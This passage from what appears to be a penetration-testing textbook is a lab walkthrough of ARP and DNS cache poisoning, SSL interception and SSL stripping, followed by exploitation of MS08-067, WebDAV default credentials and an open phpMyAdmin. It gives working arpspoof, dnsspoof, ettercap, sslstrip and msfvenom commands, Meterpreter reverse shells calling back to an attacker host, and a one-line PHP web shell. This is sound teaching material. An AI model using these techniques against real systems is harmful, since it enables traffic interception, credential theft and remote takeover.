When we connect to another machine on our local network, we usually use its hostname, fully qualified domain name, or IP address. (We’ll look at domain name server cache poisoning in “DNS Cache Poisoning” on page 167.) Before a packet can be sent from our Kali machine to the
Windows XP target, Kali must map the IP address of the XP target machine to the Media Access Control (MAC) address of the network interface card
(NIC) so Kali knows where on the network to send the packet. To do this, it uses ARP to broadcast “Who has IP address 192.168.20.10?” on the local network. The machine with the IP address 192.168.20.10 writes back, “I have
192.168.20.10, and my MAC address is 00:0c:29:a9:ce:92.” In our case this will be the Windows XP target. Our Kali system will store the mapping from
IP address 192.168.20.10 to the MAC address 00:0c:29:a9:ce:92 in its ARP cache. When it sends the next packet, our machine will first look to its ARP cache for an entry for 192.168.20.10. If it finds one, it will use that entry as the address of the target rather than sending another ARP broadcast.
(ARP cache entries are flushed out regularly because network topology may change at any time.) Thus, systems will regularly be sending ARP broadcasts as their caches are flushed. This process will come in handy when we perform ARP cache poisoning in the next section. The ARP process is illustrated in Figure 7-5.
Who has 192.168.20.10?

Who has 192.168.20.10?

Kali
(192.168.20.9)

Ubuntu target
(192.168.20.11)

I have 192.168.20.10.
My MAC address is
00:0c:29:a9:ce:92.

Windows XP target
(192.168.20.10)

Figure 7-5: ARP resolution process

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To view the ARP cache in our Kali machine, enter arp. Currently, the only IP address–to–MAC address mappings that it knows are 192.168.20.1, the default gateway, as well as 192.168.20.10, the Windows XP machine we engaged in the last exercise. root@kali:~# arp
Address
192.168.20.1
192.168.20.10

HWtype HWaddress ether 00:23:69:f5:b4:29 ether 00:0c:29:05:26:4c

Flags Mask
C
C

Iface eth0 eth0

Now restart the Wireshark capture, and use the anonymous login to interact with the Ubuntu target’s FTP server again. Next, use the arp filter, as shown in Figure 7-6, to see the ARP broadcast from the Kali machine and the reply from the Ubuntu target with its MAC address.

Figure 7-6: ARP broadcast and reply

Check your Kali Linux’s ARP cache again. You should see an entry for
192.168.20.10.
root@kali:~# arp
Address
192.168.20.1
192.168.20.10
192.168.20.11

HWtype ether ether ether HWaddress
00:23:69:f5:b4:29
00:0c:29:05:26:4c
80:49:71:14:97:2b

Flags Mask
C
C
C

Iface eth0 eth0 eth0 The trouble with relying on ARP for addressing is that there’s no guarantee that the IP address–to–MAC address answer you get is correct. Any machine can reply to an ARP request for 192.168.20.11, even if that machine is really at 192.168.20.12 or some other IP address. The target machine will accept the reply, regardless.
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That’s ARP cache poisoning in a nutshell. We send out a series of ARP replies that tell our target that we are another machine on the network.
Thus, when the target sends traffic intended for that machine, it will instead send the packets straight to us to be picked up by our traffic sniffer, as shown in Figure 7-7.
Recall from “Capturing Traffic” on page 156 that we initiated an FTP connection from our Ubuntu target to the Windows XP target, but the traffic flowing through that connection was not captured by Wireshark on our
Kali system. Using an ARP cache poisoning attack, we can trick the two systems into sending their traffic to our Kali machine instead, to be captured in Wireshark.
Kali forwards traffic to Windows XP.

Kali forwards traffic to Ubuntu.

Kali
(192.168.20.9)

Windows XP sends traffic destined for Ubuntu to Kali.

Ubuntu target
(192.168.20.11)

Ubuntu sends traffic destined for Windows XP to Kali.

Windows XP target
(192.168.20.10)

Figure 7-7: ARP cache poisoning redirects traffic through Kali.

IP Forwarding
But before we can trick the Linux target into sending credentials for the
FTP server to us instead, we need to turn on IP forwarding to tell our Kali machine to forward any extraneous packets it receives to their proper destination. Without IP forwarding, we’ll create a denial-of-service (DoS) condition on our network, where legitimate clients are unable to access services. For example, if we were to use ARP cache poisoning without IP forwarding to redirect traffic from the Linux target, intended for the Windows XP target, to our Kali machine, the FTP server on the Windows XP machine would never receive the packets from the Linux machine and vice versa.
The setting for IP forwarding on Kali is in /proc/sys/net/ipv4/ip_forward.
We need to set this value to 1. root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

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Before we start ARP cache poisoning, note the entry for the Windows
XP target (192.168.20.10) in the Linux target’s ARP cache. This value will change to the MAC address of the Kali machine after we commence ARP cache poisoning. georgia@ubuntu:~$ arp -a
? (192.168.20.1) at 00:23:69:f5:b4:29 [ether] on eth2
? (192.168.20.10) at 00:0c:29:05:26:4c [ether] on eth0
? (192.168.20.9) at 70:56.81:b2:f0:53 [ether] on eth2

ARP Cache Poisoning with Arpspoof
One easy-to-use tool for ARP cache poisoning is Arpspoof. To use Arpspoof, we tell it which network interface to use, the target of our ARP cache poisoning attack, and the IP address we would like to masquerade as. (If you leave out the target, you’ll poison the entire network.) For our example, to fool the Linux target into thinking we are the Windows XP machine, I set the -i option as eth0 to specify the interface, the -t option as 192.168.20.11 to specify the target as the Linux box, and 192.168.20.10 as the Windows XP machine I want to pretend to be. root@kali:~# arpspoof -i eth0 -t 192.168.20.11 192.168.20.10

Arpspoof immediately starts sending ARP replies to the Linux target, informing it that the Windows XP machine is located at the Kali machine’s
MAC address. (ARP cache entries are updated at varying times among different implementations, but one minute is a safe length of time to wait.)
To capture the other side of the conversation, we need to fool the
Windows XP machine into sending traffic intended for the Linux target to the Kali machine as well. Start another instance of Arpspoof, and this time set the target as the Windows XP machine and the recipient as the Linux machine. root@kali:~#

arpspoof -i eth0 -t 192.168.20.10 192.168.20.11

Once you start ARP cache poisoning, check your Linux target’s ARP cache again. Notice that the MAC address associated with the Windows XP target has changed to 70:56:81:b2:f0:53. The Linux target should send all traffic intended for the Windows XP target to the Kali machine, where we can capture it in Wireshark. georgia@ubuntu:~$ arp -a
? (192.168.20.1) at 00:23:69:f5:b4:29 [ether] on eth0
? (192.168.20.10) at 70:56:81:b2:f0:53 [ether] on eth0

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Now log in to the Windows XP target’s FTP server from the Linux target using another account (see Listing 7-3). (The credentials georgia:password will work if you followed my instructions in Chapter 1. If you set your credentials as something else, use those instead.) georgia@ubuntu:~$ ftp 192.168.20.10
Connected to 192.168.20.10.
220-FileZilla Server version 0.9.32 beta
220-written by Tim Kosse (Tim.Kosse@gmx.de)
220 Please visit http://sourceforge.net/projects/filezilla/
Name (192.168.20.10:georgia): georgia
331 Password required for georgia
Password:
230 Logged on
Remote system type is UNIX.
Listing 7-3: Logging in to FTP on Windows XP from the Ubuntu target with a user account

Because we have IP forwarding turned on, everything appears to work normally as far as our user is concerned. Returning to Wireshark, we see that this time we were able to capture the FTP traffic and read the plaintext login credentials. The Wireshark output shown in Figure 7-8 confirms that our Kali machine is forwarding the FTP traffic between the two targets.
After each FTP packet, there is a retransmission packet.

Figure 7-8: Wireshark captures the login information.

Using ARP Cache Poisoning to Impersonate the Default Gateway
We can also use ARP cache poisoning to impersonate the default gateway on a network and access traffic entering and leaving the network, including traffic destined for the Internet. Stop the Arpspoof processes you have

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running, and try tricking the Linux target into routing all traffic to the gateway through the Kali machine by impersonating the default gateway, as shown here. root@kali:~# arpspoof -i eth0 -t 192.168.20.11 192.168.20.1

root@kali:~# arpspoof -i eth0 -t 192.168.20.1 192.168.20.11

If we start to browse the Internet from the Linux target, we should see
HTTP packets being captured by Wireshark. Even if sensitive information is encrypted with HTTPS, we’ll still be able to see where users are going and any other information sent over HTTP. For example, if we run a Google query, the plaintext of the query will be captured in Wireshark, as shown in
Figure 7-9.
Note

If you use ARP cache poisoning to trick a large network into thinking your pentest machine is the default gateway, you may unwittingly cause networking issues. All the traffic in a network going through one laptop (or worse, one virtual machine) can slow things down to the point of denial of service in some cases.

Figure 7-9: Query captured in Wireshark

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DNS Cache Poisoning
In addition to ARP cache poisoning, we can also poison Domain Name
Service (DNS) cache entries (mappings from domain names to IP addresses) to route traffic intended for another website to one we control. Just as ARP resolves IP to MAC addresses to properly route traffic, DNS maps (or resolves) domain names such as www.gmail.com to IP addresses.
To reach another system on the Internet or local network, our machine needs to know the IP address to connect to. It is easy to remember the URL www.gmail.com if we want to visit our web mail account, but it’s difficult to remember a bunch of IP addresses, which may even change regularly. DNS resolution translates the human-readable domain name into an IP address.
For example, we can use the tool Nslookup to translate www.gmail.com into an
IP address, as shown in Listing 7-4. root@kali~# nslookup www.gmail.com
Server: 75.75.75.75
Address: 75.75.75.75#53
Non-authoritative answer: www.gmail.com canonical name = mail.google.com. mail.google.com canonical name = googlemail.l.google.com.
Name: googlemail.l.google.com
Address: 173.194.37.85
Name: googlemail.l.google.com
Address: 173.194.37.86
Listing 7-4: Nslookup DNS resolution

As you can see, Nslookup translates www.gmail.com to a number of IP addresses, including 173.194.37.85 and 173.194.37.86, all of which we can use to reach Gmail. To perform DNS resolution (Figure 7-10), our system queries its local DNS server for information about a specific domain name, such as www.gmail.com. If the DNS server has a cache entry for the address, it gives our system the correct IP address. If not, it contacts other DNS servers on the Internet looking for the correct information.
When the correct IP address is returned, the DNS server writes back to our machine with the correct IP address resolution for www.gmail.com, and our system then translates www.gmail.com into 173.194.37.85, as shown in Listing 7-4. Users can then access www.gmail.com by name without having to use the IP address.

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www.gmail.com is at 173.194.37.85.

DNS server

www.gmail.com

Internet

I don’t know www.gmail.com. I’ll ask another
DNS server.

Browse to
173.194.37.85.
I want to browse to www.gmail.com. What’s the IP address?
Kali

www.gmail.com is at 173.194.37.85.

local DNS server

Figure 7-10: DNS resolution

Getting Started
DNS cache poisoning works like ARP cache poisoning: We send a bunch of bogus DNS resolution replies pointing to the wrong IP address for a domain name.
Now make sure the Apache server is running with the command service apache2 start. root@kali:~# service apache2 start
* Starting web server apache2

[ OK ]

Before we use a DNS cache poisoning tool, we need to create a file that specifies which DNS names we would like to spoof and where to send traffic.
For example, let’s tell any system that runs a DNS resolution for www.gmail
.com that that domain’s IP address is our Kali machine by adding the entry

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192.168.20.9 www.gmail.com to a new file called hosts.txt. (You can name the

file anything you like.) root@kali:~# cat hosts.txt
192.168.20.9 www.gmail.com

Using Dnsspoof
Restart Arpspoof between the Linux target and the default gateway and vice versa as discussed in “Using ARP Cache Poisoning to Impersonate the
Default Gateway” on page 165. Now we can start sending DNS cache poisoning attempts using the Dnsspoof DNS spoofing tool, as shown here. root@kali:~# dnsspoof -i eth0u -f hosts.txtv dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.20.9]
192.168.20.11 > 75.75.75.75.53: 46559+ A? www.gmail.com

We specify the network interface u to use, and point Dnsspoof to the file (hosts.txt) we just created v telling it which values to spoof.
Once Dnsspoof is running, when we run the nslookup command from our Linux target, the IP address returned should be our Kali machine’s, as shown in Listing 7-5. This is clearly not the real IP address for Gmail. georgia@ubuntu:~$ nslookup www.gmail.com
Server: 75.75.75.75
Address: 75.75.75.75#53
Non-authoritative answer:
Name: www.gmail.com
Address: 192.168.20.9
Listing 7-5: Nslookup after attack

To demonstrate this attack, set up a website to direct traffic to. The
Apache server in Kali will by default serve an “It Works” page to anyone who visits it. We can change the contents of the index.html file in the folder
/var/www, but the default “It Works” text is fine for our purposes.
Now if we browse to http://www.gmail.com/ from the Ubuntu target, the
URL bar should say http://www.gmail.com/, but we’re actually at our Kali machine’s web server, as shown in Figure 7-11. We can even make this attack more interesting by cloning the actual Gmail website (or any other site the attacker chooses) so the user won’t notice the difference.

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Figure 7-11: This isn’t Gmail.

SSL Attacks
So far, we’ve been able to intercept encrypted traffic, but we haven’t been able to get any sensitive information out of the encrypted connection. For this next attack, we’ll rely on a user’s willingness to click past an SSL certificate warning to perform a man-in-the-middle attack and get the plaintext out of a Secure Sockets Layer (SSL) connection, which encrypts traffic to protect it from being read by an eavesdropper.

SSL Basics
The goal of SSL is to provide reasonable assurance that any sensitive information (such as credentials or credit card numbers) transmitted between a user’s browser and a server is secure—unable to be read by a malicious entity along the way. To prove that the connection is secure, SSL uses certificates. When you browse to an SSL-enabled site, your browser asks the site to identify itself with its SSL certificate. The site presents its certificate, which your browser verifies. If your browser accepts the certificate, it informs the server, the server returns a digitally signed acknowledgment, and SSL-secured communication begins.

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An SSL certificate includes an encryption key pair as well as identifying information, such as the domain name and the name of the company that owns the site. A server’s SSL certificate is generally vouched for by a certificate authority (CA) such as VeriSign or Thawte. Browsers come preinstalled with a list of trusted CAs, and if a server’s SSL certificate is vouched for by a trusted CA, the browser can create a secure connection. If the certificate is untrusted, the user will be presented with a warning that basically says,
“The connection might be secure, but it might not be. Proceed at your own risk.”

Using Ettercap for SSL Man-in-the-Middle Attacks
In our ARP cache poisoning attack, we man-in-the-middled the traffic between our Windows XP and Ubuntu targets (as well as the Ubuntu target and the Internet). These systems were still able to communicate with each other, but our Kali system was able to capture the traffic. We can do the same thing to attack SSL traffic. We can break the secure SSL connection by redirecting traffic to and from www .facebook.com to our Kali system so we can intercept sensitive information.
For this example, we’ll use Ettercap, a multifunction suite for man-inthe-middle attacks that, in addition to SSL attacks, can also complete all of the attacks we have performed so far with Arpspoof and Dnsspoof. Turn off any other spoofing tools before starting Ettercap. See page 22 for configuration instructions.
Ettercap has multiple interfaces, but we will use the -T option for the text-based interface in this example. Use the -M option with arp:remote
/gateway/ /target/ to set up an ARP cache poisoning attack between the default gateway and the Linux target, as shown next. The actual attack will work the same way as our previous exercise with Arpspoof. root@kali:~# ettercap -Ti eth0 -M arp:remote /192.168.20.1/ /192.168.20.11/

With Ettercap running, we just wait for users to start interacting with
SSL-based web servers. Switch over to your Linux target, and attempt to log in to a website using SSL. You should be greeted with a certificate warning like the one in Figure 7-12.
Because this is a man-in-the-middle attack, the SSL session’s security cannot be verified. The certificate Ettercap presents isn’t valid for www
.facebook.com, so the trust is broken, as illustrated in Figure 7-13.
But security warnings don’t stop all users. If we click through the warning and enter our credentials, Ettercap will grab them in plaintext before forwarding them on to the server, as shown here:
HTTP : 31.13.74.23:443 -> USER: georgia

PASS: password

INFO: https://www.facebook.com/

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Figure 7-12: Facebook cannot be verified. www.facebook.com HTTPS response from www.facebook.com HTTPS request for www.facebook.com HTTPS request for www.facebook.com Ubuntu target

HTTPS response from www.facebook.com (certificate from Ettercap is invalid for www.facebook.com)

Figure 7-13: SSL man-in-the-middle attack

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Internet

Kali

SSL Stripping
Of course, the trouble with SSL man-in-the-middle attacks is that users have to click through the SSL certificate warning. Depending on the browser, this can be an involved process that is difficult, if not impossible, for a user to ignore. Most readers can probably think of a time they clicked through a security warning and continued to the page despite their better judgment.
(Case in point: Our default Nessus install uses Tenable’s self-signed certificate, which throws a certificate error when you browse to the web interface.
If you chose to follow along with that example, you most likely decided to click through the warning.)
It is difficult to say how effective certificate warnings are at stopping users from visiting HTTPS sites without valid certificates. I have run socialengineering tests that employed self-signed SSL certificates, and the success rate has been significantly lower than those with valid certificates or those that don’t use HTTPS. Though some users did click through and visit the sites, a more sophisticated attack would allow us to capture information in plaintext without triggering those obvious warnings that the SSL connection is compromised.
With SSL stripping, we man-in-the-middle the HTTP connection before it is redirected to SSL and add SSL functionality before sending the packets on to the web server. When the web server replies, SSL stripping again intercepts the traffic and removes the HTTPS tags before sending the packets to the client. This technique is illustrated in Figure 7-14. www.facebook.com HTTPS response from www.facebook.com HTTP request for www.facebook.com Ubuntu target

HTTPS request for www.facebook.com Internet

HTTP response from www.facebook.com Kali

Figure 7-14: SSL stripping attack

Moxie Marlinspike, the author of SSLstrip, called certificate warnings negative feedback, as opposed to positive feedback that a session is valid, such as seeing HTTPS in the browser URL bar. Avoiding this negative feedback is
Capturing Traffic 173

much more important to an attack’s success than including positive feedback because users are naturally less likely to notice that a URL says HTTP instead of HTTPS than they are a giant certificate warning they have to actively click through. SSL stripping avoids the certificate warning by again man-in-the-middling the connection.
Users typically encounter HTTPS either through clicking links or through HTTP 302 redirects. Most users don’t enter https://www.facebook.com or even http://www.facebook.com into their browsers; they type www.facebook
.com or sometimes just facebook.com. And that’s why this attack is possible.
SSLstrip adds the HTTPS itself and thus the SSL connection between
Facebook and Kali is valid. SSLstrip just turns the connection back to
HTTP to send to the original requester. There is no certificate warning.

Using SSLstrip
The tool SSLstrip implements SSL stripping. Before we start it, we need to set an Iptables rule to pass traffic that is headed to port 80 through SSLstrip.
We’ll run SSLstrip on port 8080, as shown next, then restart Arpspoof and spoof the default gateway. (For instructions, jump back to “Using ARP
Cache Poisoning to Impersonate the Default Gateway” on page 165.) root@kali:# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Now start SSLstrip, and tell it to listen on port 8080 with the -l flag. root@kali:# sslstrip -l 8080

Next, browse to a site that uses SSL (try any Internet site that requires login credentials) from your Linux target, like the Twitter login page shown in Figure 7-15. As you can see, HTTP has replaced HTTPS in the address bar.
When you log in, your credentials will be reported in plaintext by SSLstrip.
(No, my Twitter password isn’t really “password.”)
This attack is more sophisticated than a straight SSL man-in-the-middle attack. We are able to avoid the certificate warning because the server is completing an SSL connection with SSLstrip rather than the browser.
2015-12-28 19:16:35,323 SECURE POST Data (twitter.com): session%5Busername_or_email%5D=georgiaweidman&session%5Bpassword%5D=password&s cribe_log=&redirect_after_login=%2F&authenticity_token=a26a0faf67c2e11e6738053 c81beb4b8ffa45c6a As you can see, SSLstrip reports the entered credentials (georgiaweidman: password) in plaintext.

174 Chapter 7

Figure 7-15: Twitter login page with SSLstrip running

Summary
In this chapter we’ve fiddled with network traffic to create some interesting results. Using various tools and techniques, we were able to intercept traffic that we had no business seeing in a switched network. We used ARP cache poisoning to redirect traffic in a switched network to our Kali system and
DNS cache poisoning to redirect users to our web servers. We used Ettercap to automate an SSL man-in-the-middle attack and (assuming that the user clicks through a warning) capture sensitive information in plaintext. Finally, we made the attack even more sophisticated by avoiding an invalid certificate warning using SSL stripping.
Capturing traffic from the local network can glean useful information for our pentest. For example, we were able to capture valid credentials for the FTP server for use in exploitation.
Speaking of exploitation, let’s get started.

Capturing Traffic 175

Part III
At tacks

8

E x ploitat ion

After all that preparatory work we finally get to the fun stuff: exploitation. In the exploitation phase of the pentest, we run exploits against the vulnerabilities we have discovered to gain access to target systems.
Some vulnerabilities, such as the use of default passwords, are so easy to exploit, it hardly feels like exploitation at all. Others are much more complicated.
In this chapter we’ll look at exploiting the vulnerabilities we identified in
Chapter 6 to gain a foothold in target machines. We’ll return to our friend
MS08-067 from Chapter 4, now that we have more background about the vulnerability. We’ll also exploit an issue in the SLMail POP3 server with a
Metasploit module. In addition, we’ll piggyback on a previous compromise and bypass login on the FTP server on our Linux target. We will exploit a vulnerability in the TikiWiki install on the Linux target and a couple of

default password issues on an XAMPP install on the Windows target. We’ll also take advantage of a readable and writable NFS share to take control of the SSH keys and log in as a valid user without knowing the password. We will interact with a fragile web server on a nonstandard port to take advantage of a directory traversal issue and download system files. For a refresher on how we discovered each of the issues we’ll use for exploitation, refer back to Chapter 6.

Revisiting MS08-067
We know from Chapter 6 that the SMB server on our Windows XP target is missing the MS08-067 patch. The MS08-067 vulnerability has a good reputation for successful exploits, and the corresponding Metasploit module is ranked as great. We used this vulnerability as an example in Chapter 4, but the knowledge we gained in the previous chapters gives us solid evidence that this exploit will result in a compromise.
When we viewed the options for the windows/smb/ms08_067_netapi module in Chapter 4, we saw the usual RHOST and RPORT as well as SMBPIPE, which allows us to set the pipe that our exploit will use. The default is the browser pipe, though we can also use SRVSRC. In Chapter 4, we ran the Metasploit module scanner/smb/pipe_auditor to enumerate the listening SMB pipes and found that only the browser pipe is available. Thus, we know that the default SMBPIPE option, BROWSER, is the only one that will work.

Metasploit Payloads
As we discussed in Chapter 4, payloads allow us to tell an exploited system to do things on our behalf. Though many payloads are either bind shells, which listen on a local port on the target machine, or reverse shells, which call back to a listener on the attack system, other payloads perform specific functions. For example, if you run the payload osx/armle/vibrate on an iPhone, the phone will vibrate. There are also payloads to add a new user account: linux/x86/adduser for Linux systems and windows/adduser for Windows.
We can download and execute a file with windows/download_exec_https or execute a command with windows/exec. We can even use the speech API to make the target say “Pwned” with windows/speak_pwned.
Recall that we can see all the payloads available in Metasploit by entering show payloads at the root of Msfconsole. Enter this command after you tell Metasploit to use the windows/smb/ms08_067_netapi module so you can see only payloads that are compatible with the MS08-067 exploit.
In Chapter 4, we used windows/shell_reverse_tcp, but looking through the list, we also see a payload called windows/shell/reverse_tcp. windows/shell/reverse_tcp windows/shell_reverse_tcp

180 Chapter 8

normal normal Windows Command Shell, Reverse TCP Stager
Windows Command Shell, Reverse TCP Inline

Both payloads create Windows command shells using a reverse connection (discussed in Chapter 4). The exploited machine will connect back to our Kali machine at the IP address and port specified in the payload options.
Any of the payloads listed for the windows/smb/ms08_067_netapi will work just fine, but in different pentesting scenarios, you may have to get creative.
Staged Payloads
The windows/shell/reverse_tcp payload is staged. If we use it with the windows/ smb/ms08_067_netapi exploit, the string sent to the SMB server to take control of the target machine does not contain all of the instructions to create the reverse shell. Instead, it contains a stager payload with just enough information to connect back to the attack machine and ask Metasploit for instructions on what to do next. When we launch the exploit, Metasploit sets up a handler for the windows/shell/reverse_tcp payload to catch the incoming reverse connection and serve up the rest of the payload—in this case a reverse shell—then the completed payload is executed, and Metasploit’s handler catches the reverse shell. The amount of memory space available for a payload may be limited, and some advanced Metasploit payloads can take up a lot of space. Staged payloads allow us to use complex payloads without requiring a lot of space in memory.
Inline Payloads
The windows/shell_reverse_tcp payload is an inline, or single, payload. Its exploit string contains all the code necessary to push a reverse shell back to the attacker machine. Though inline payloads take up more space than staged payloads, they are more stable and consistent because all the instructions are included in the original exploit string. You can distinguish inline and staged payloads by the syntax of their module name.
For example, windows/shell/reverse_tcp or windows/meterpreter/bind_tcp are staged, whereas windows/shell_reverse_tcp is inline.

Meterpreter
Meterpreter is a custom payload written for the Metasploit Project. It is loaded directly into the memory of an exploited process using a technique known as reflective dll injection. As such, Meterpreter resides entirely in memory and writes nothing to the disk. It runs inside the memory of the host process, so it doesn’t need to start a new process that might be noticed by an intrusion prevention or intrusion detection system (IPS/IDS). Meterpreter also uses Transport Layer Security (TLS) encryption for communication between it and Metasploit. You can think of Meterpreter as a kind of shell and then some. It has additional useful commands that we can use, such as hashdump, which allows us to gain access to local Windows password hashes.
(We’ll look at many Meterpreter commands when we study post exploitation in Chapter 13.)

Exploitation 181

We saw in Chapter 4 that Metasploit’s default payload for the windows/ smb/ms08_067_netapi is windows/meterpreter/reverse_tcp. Let’s use the windows/ meterpreter/reverse_tcp payload with our MS08-067 exploit this time. Our payload options should be familiar from other reverse payloads we have used so far. Let’s set our payload and run the exploit, as shown in Listing 8-1. msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(ms08_067_netapi) > set LHOST 192.168.20.9
LHOST => 192.168.20.9 msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending Stage to 192.168.20.10...
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:4312) at
2015-01-12 00:11:58 -0500
Listing 8-1: Exploiting MS08-067 with a Meterpreter payload

As the output shows, running this exploit should open a Meterpreter session that we’ll be able to use for post exploitation.

Exploiting WebDAV Default Credentials
In Chapter 6, we found that the XAMPP installation on our Windows XP target employs default login credentials for the WebDAV folder used to upload files to the web server. This issue allows us to upload our own pages to the server with Cadaver, a command line client for WebDAV, which we used to verify this vulnerability in Chapter 6. Let’s create a simple test file to upload: root@kali:~# cat test.txt test Now use Cadaver with the credentials wampp:xampp to authenticate with WebDAV. root@kali:~# cadaver http://192.168.20.10/webdav
Authentication required for XAMPP with WebDAV on server `192.168.20.10':
Username: wampp
Password:
dav:/webdav/>

Finally, use WebDAV’s put command to upload our test.txt file to the web server. 182 Chapter 8

dav:/webdav/> put test.txt
Uploading test.txt to `/webdav/test.txt':
Progress: [=============================>] 100.0% of 5 bytes succeeded. dav:/webdav/> If you browse to /webdav/test.txt, you should see that we have successfully uploaded our text file to the website, as shown in Figure 8-1.

Figure 8-1: A file uploaded with WebDAV

Running a Script on the Target Web Server
A text file is not very useful to us; it would be better if we could upload a script and execute it on the web server, allowing us to run commands on the underlying system’s Apache web server. If Apache is installed as a system service, it will have system-level privileges, which we could use to gain maximum control over our target. If not, Apache will run with privileges of the user who started it. Either way, you should end up with a good deal of control over the underlying system just by dropping a file on the web server.
Let’s start by confirming that our WebDAV user is allowed to upload scripts to the server. Because we found phpMyAdmin software on this web server in Chapter 6, we know that the XAMPP software includes PHP. If we upload and execute a PHP file, we should be able to run commands on the system using PHP. dav:/webdav/> put test.php
Uploading test.php to `/webdav/test.php':
Progress: [=============================>] 100.0% of 5 bytes succeeded. dav:/webdav/> Note

Some open WebDAV servers allow uploading text files but block script files like .asp or
.php. Lucky for us, that isn’t the case here, and we successfully uploaded test.php.

Uploading a Msfvenom Payload
In addition to uploading any PHP scripts we’ve created to perform tasks on the target, we can also use Msfvenom to generate a stand-alone Metasploit payload to upload to the server. We used Msfvenom briefly in Chapter 4, but to brush up on syntax, you can enter msfvenom -h for help. When you’re ready, list all the available payloads with the -l option for PHP payloads, as shown in Listing 8-2.
Exploitation 183

root@kali:~# msfvenom -l payloads php/bind_perlu php/bind_perl_ipv6 php/bind_php php/bind_php_ipv6 php/download_execv php/exec php/meterpreter/bind_tcpw php/meterpreter/reverse_tcp

php/meterpreter_reverse_tcp php/reverse_perl php/reverse_php

Listen for a connection and spawn a command shell via perl (persistent)
Listen for a connection and spawn a command shell via perl (persistent) over IPv6
Listen for a connection and spawn a command shell via php
Listen for a connection and spawn a command shell via php (IPv6)
Download an EXE from an HTTP URL and execute it
Execute a single system command
Listen for a connection over IPv6, Run a meterpreter server in PHP
Reverse PHP connect back stager with checks for disabled functions, Run a meterpreter server in PHP
Connect back to attacker and spawn a
Meterpreter server (PHP)
Creates an interactive shell via perl
Reverse PHP connect back shell with checks for disabled functions

php/shell_findsock
Listing 8-2: Metasploit PHP payloads

Msfvenom gives us a few options: We can download and execute a file on the system v, create a shell u, or even use Meterpreter w. Any of these payloads will give us control of the system, but let’s use php/meterpreter/reverse_tcp.
After we specify a payload, we can use -o to find out which options we need to use with it, as shown here. root@kali:~# msfvenom -p php/meterpreter/reverse_tcp -o
[*] Options for payload/php/meterpreter/reverse_tcp
--snip-Name
---LHOST
LPORT

Current Setting
--------------4444

Required
-------yes
yes

Description
----------The listen address
The listen port

As you can see we need to set LHOST to tell the payload which IP address to connect back to, and we can also change the LPORT option.
Because this payload is already in PHP format, we can output it in the raw format with the -f option after we set our options, and then pipe the raw PHP code into a file with the .php extension for posting to the server, as shown here. root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.20.9
LPORT=2323 -f raw > meterpreter.php

184 Chapter 8

Now we upload the file using WebDAV. dav:/webdav/> put meterpreter.php
Uploading meterpreter.php to `/webdav/meterpreter.php':
Progress: [=============================>] 100.0% of 1317 bytes succeeded.

As in Chapter 4, we need to set up a handler in Msfconsole to catch the payload before we execute the script (see Listing 8-3). msf > use multi/handler msf exploit(handler) > set payload php/meterpreter/reverse_tcpu payload => php/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.20.9v lhost => 192.168.20.9 msf exploit(handler) > set LPORT 2323w lport => 2323 msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.20.9:2323
[*] Starting the payload handler...
Listing 8-3: Setting up the payload handler

Use multi/handler in Msfconsole, set the payload to php/meterpreter/ reverse_tcp u, and set LHOST v and LPORT w appropriately to match the generated payload. If this process is unfamiliar to you, jump back to the
“Creating Standalone Payloads with Msfvenom” on page 103.
Running the uploaded payload by opening it in a web browser should provide us with a Meterpreter session that we can see when we return to
Msfconsole, as shown here.
[*] Sending stage (39217 bytes) to 192.168.20.10
[*] Meterpreter session 2 opened (192.168.20.9:2323 -> 192.168.20.10:1301) at
2015-01-07 17:27:44 -0500 meterpreter >

We can use the Meterpreter command getuid to see what privileges our session has on the exploited target. Generally speaking, we get the privileges of the software we exploited. meterpreter > getuid
BOOKXP\SYSTEM

We now have system privileges, which will allow us to take complete control of the Windows system. (It’s generally a bad idea to allow web server software to have system privileges for just this reason. Because XAMPP’s
Apache server is running as a system service, we have full access to the underlying system.)
Now let’s look at another issue with our XAMPP install.

Exploitation 185

Exploiting Open phpMyAdmin
The same target XAMPP platform exploited in the previous section also includes an open phpMyAdmin install, which we can exploit to run commands on the database server. Like Apache, our MySQL server will have either system privileges (if it is installed as a Windows service) or the privileges of the user that started the MySQL process. By accessing the MySQL database, we can perform an attack similar to our WebDAV attack and upload scripts to the web server using MySQL queries.
To explore this attack, first navigate to http://192.168.20.10/phpmyadmin, and click the SQL tab at the top. We’ll use MySQL to write a script to the web server that we’ll use to get a remote shell. We’ll use a SQL SELECT statement to output a PHP script to a file on the web server, which will allow us to remotely control the target system. We’ll use the script <?php system($_GET['cmd']); ?> to grab the cmd parameter from the URL and execute it using the system() command.
The default install location for XAMPP’s Apache on Windows is
C:\xampp\htodcs\ . The syntax for our command is: SELECT "<script string>" into outfile "path_to_file_on_web_server". Our completed command looks like this:
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\shell.php"

Note

We use double backslashes to escape, so we don’t end up with the file
C:xampphtdocsshell.php, which we will not be able to access from the web server.
Figure 8-2 shows the command entered into the SQL console in phpMyAdmin. Figure 8-2: Executing SQL commands

186 Chapter 8

Run the completed query in phpMyAdmin, and then browse to the newly created file, http://192.168.20.10/shell.php. The script should throw the error Warning: system() [function.system]: Cannot execute a blank command in C:\ xampp\htdocs\shell.php on line 1, because we did not supply an cmd parameter.
(Recall from earlier that shell.php grabs the cmd parameter from the URL and runs it using the PHP system() command.) We need to supply a cmd parameter that tells the script the command we’d like to run on the target system. For example, we can ask the Windows XP target to tell us its networking information using ipconfig as the cmd parameter, like so: http://192.168.20.10/shell.php?cmd=ipconfig The result is shown in Figure 8-3.

Figure 8-3: Code execution

Downloading a File with TFTP
The previous steps give us a shell with system privileges, which we “upgrade” by uploading a more complicated PHP script. But rather than creating a really long and complicated SQL SELECT query, we can host a file on our
Kali machine and then use our PHP shell to pull it down to the web server.
